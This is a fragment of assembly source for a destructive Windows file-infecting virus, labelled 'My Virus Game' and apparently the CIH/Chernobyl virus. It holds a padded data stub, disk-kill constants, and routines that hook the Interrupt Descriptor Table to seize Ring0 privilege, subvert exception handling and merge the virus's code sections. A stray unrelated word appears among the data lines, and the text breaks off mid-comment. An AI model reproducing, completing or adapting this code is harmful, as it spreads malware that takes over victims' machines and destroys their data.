db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
逆风者
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; ****************************************************************************
; * My Virus Game *
; ****************************************************************************
; *********************************************************
; * Constant Define *
; *********************************************************
TRUE = 1
FALSE = 0
DEBUG = TRUE
IF DEBUG
FirstKillHardDiskNumber = 82h
HookExceptionNumber = 06h
ELSE
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 04h
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h 04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx 02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
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